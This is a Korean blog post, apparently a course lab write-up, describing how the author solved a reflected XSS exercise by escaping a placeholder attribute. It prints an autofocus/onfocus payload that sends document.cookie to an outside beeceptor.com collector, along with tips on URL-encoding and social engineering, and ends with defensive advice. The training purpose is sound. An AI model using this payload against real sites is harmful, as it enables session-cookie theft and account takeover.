해킹스터디

[Normaltic 웹해킹 입문] 9주차 문제풀이 XSS-3

herini0829 2025. 12. 30. 16:25

🕵️ XSS-3 문제 풀이: 속성(Attribute) 탈출과 이벤트 핸들러 활용

XSS-2를 풀었을 때의 기억을 되살려 3번 문제에 도전했다. 이번에도 역시 가장 먼저 의심되는 곳부터 찔러보며 차근차근 범위를 좁혀나갔다.


1. 반복되는 탐색과 실패 (Search의 벽)

XSS-2에서 재미를 봤던 검색(Search) 쪽을 먼저 확인해 봤다. 이번에도 검색어 파라미터가 응답에 반영되는 후보로 확인되었다.

하지만 실제로 특수문자들을 넣어보니 < ' " >가 모두 HTML Entity로 치환되었다. 2번 문제처럼 스크립트 태그 내부에 들어가는 구조도 아니어서, 여기서는 더 이상 진전이 없겠다고 판단하고 다른 곳으로 눈을 돌렸다.


2. 새로운 돌파구: 마이페이지 입력 폼

다음으로 마이페이지로 이동해 점검을 이어갔다. 그러던 중 사용자 ID를 보여주는 input 태그에서 드디어 단서를 찾았다.

소스 코드를 확인해 보니 내가 입력한 파라미터가 아래와 같이 placeholder 속성 값으로 들어가고 있었다.

<input name="id" type="text" placeholder="<'\"fsi123>" />

"여기다!" 꺽쇠는 막혀 있을지 몰라도, placeholder 속성을 닫고 새로운 이벤트 핸들러를 추가하면 코드를 실행시킬 수 있을 것 같았다.


3. 페이로드 설계: 이벤트 핸들러 주입

이번에는 페이지 자체에서 ID를 변경해 요청을 보낼 수 없도록 막혀 있었다. 그래서 Burp Suite에서 직접 패킷을 잡아 파라미터를 수정해야 했다. <input> 태그 내에서 사용할 수 있는 onfocusautofocus를 조합해 보기로 했다.

공격 코드 구성

우선 "를 사용해 placeholder 속성을 닫고, 바로 이어서 스크립트가 실행되도록 구성했다.

1" autofocus onfocus="var i=new image();i.src='https://herini0829.free.beeceptor.com/?c='+document.cookie;"

주의할 점: Burp Suite의 URL 파라미터로 날릴 때는 반드시 URL 인코딩을 해줘야 한다. 공백은 +로, 자바스크립트 코드의 + 기호는 %2b로 변환하는 것을 잊지 말자.


4. 공격 실행 및 결과

완성된 공격 링크를 통해 접속해 보니, 페이지가 로딩되자마자 ID 입력창에 포커스가 가면서 스크립트가 실행되었다.

사회공학적 기법을 섞는다면, 1" 대신 원래의 ID를 넣어주거나 아예 공백으로 두어 사용자가 눈치채지 못하게 하는 게 더 깔끔할 것 같다는 생각도 들었다. 이 링크를 관리자 봇이 클릭하게 유도하여 최종적으로 세션 쿠키를 획득했다.


💡 보안 분석 및 소감

이번 문제는 속성 값(Attribute Value) 영역에서의 XSS였다. 많은 개발자가 <script> 태그만 막으면 된다고 생각하지만, HTML 태그의 속성 안에서도 얼마든지 이벤트 핸들러를 통해 공격이 가능하다는 것을 배웠다.

✅ 방어 핵심 요약
1. 속성 값 이스케이프: HTML 태그의 속성 내에 사용자 입력값을 넣을 때도 반드시 인코딩 처리를 해야 한다. 특히 "'를 막지 못하면 속성을 탈출해 새로운 명령어를 주입할 수 있게 된다.
2. 이벤트 핸들러 제한: onfocus, onerror, onload 등 잠재적으로 위험한 이벤트 핸들러 속성이 입력값에 포함되지 않도록 화이트리스트 검증이 필요하다.

매번 다른 위치에서 취약점을 찾아내고, 그 상황에 맞는 문법을 짜 맞추는 과정이 마치 퍼즐을 푸는 것 같아 재미있었다. 다음 단계로 넘어가 보자! 😎